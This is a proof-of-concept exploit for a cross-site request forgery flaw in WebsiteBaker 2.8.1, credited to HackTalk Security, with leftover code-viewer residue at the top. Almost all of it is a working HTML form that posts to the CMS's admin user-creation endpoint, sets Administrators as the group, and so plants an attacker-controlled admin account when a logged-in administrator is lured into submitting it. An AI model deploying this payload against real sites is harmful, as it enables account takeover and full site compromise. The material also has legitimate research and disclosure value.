104 lines
No EOL
2.4 KiB
HTML
104 lines
No EOL
2.4 KiB
HTML
# Author: Luis Santana
|
|
# Software Link: http://www.websitebaker2.org/modules/download_gallery/dlc.php?file=88&id=1269641667
|
|
# Version: 2.8.1
|
|
# Tested on: All
|
|
# Code : http://hacktalk.net/exploits/websitebakercsrfPOC.zip
|
|
|
|
The full advisory can be found at
|
|
http://hacktalk.net/exploits/websitebakerCSRF.txt
|
|
|
|
Regards,
|
|
Luis Santana
|
|
Admin - http://hacktalk.net
|
|
HackTalk Security
|
|
|
|
<h1>WebsiteBaker 2.8.1 CSRF Proof of Concept By Luis Santana HackTalk Security</h1>
|
|
<form name="user"action="http://demo.opensourcecms.com/websitebaker/admin/users/add.php" method="post" class="">
|
|
<input type="hidden" name="user_id" value="" />
|
|
<input type="hidden" name="username_fieldname" value="username_08y7h65u" />
|
|
|
|
<table cellpadding="5" cellspacing="0" border="0" width="100%">
|
|
<tr>
|
|
<td width="150">Username:</td>
|
|
<td class="value_input">
|
|
<input type="text" name="username_08y7h65u" maxlength="30" value="" />
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td>Password:</td>
|
|
|
|
<td class="value_input">
|
|
<input type="password" name="password" maxlength="30" />
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td>Re-type Password:</td>
|
|
<td class="value_input">
|
|
<input type="password" name="password2" maxlength="30" />
|
|
</td>
|
|
|
|
</tr>
|
|
<tr style="display:none;">
|
|
<td> </td>
|
|
<td style="font-size: 10px;">
|
|
Please note: You should only enter values in the above fields if you wish to change this users password
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td>Display Name:</td>
|
|
<td class="value_input">
|
|
<input type="text" name="display_name" maxlength="255" value="" />
|
|
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td>Email:</td>
|
|
<td class="value_input">
|
|
<input type="text" name="email" maxlength="255" value="" />
|
|
</td>
|
|
</tr>
|
|
<tr style="">
|
|
<td>Home Folder:</td>
|
|
|
|
<td class="value_input">
|
|
<select name="home_folder">
|
|
<option value="">None</option>
|
|
|
|
<option value="/testbild" >/media/testbild</option>
|
|
</select>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
|
|
<td>Group:</td>
|
|
<td class="value_input">
|
|
<select name="groups[]" multiple="multiple" size="5">
|
|
|
|
<option value="1" >Administrators</option>
|
|
</select>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
|
|
<td> </td>
|
|
<td>
|
|
<input type="radio" name="active[]" id="active" value="1" checked="checked" />
|
|
<label for="active">Active</label>
|
|
<input type="radio" name="active[]" id="disabled" value="0" />
|
|
<label for="disabled">Disabled</label>
|
|
</td>
|
|
</tr>
|
|
|
|
<tr>
|
|
<td> </td>
|
|
<td>
|
|
<input type="submit" name="submit" value="Add" />
|
|
<input type="reset" name="reset" value="Reset" />
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
|
|
</form>
|
|
|
|
|
|
<p>Greetz to Shardy, Xires and Stacy, Rage, and n3xus</p> |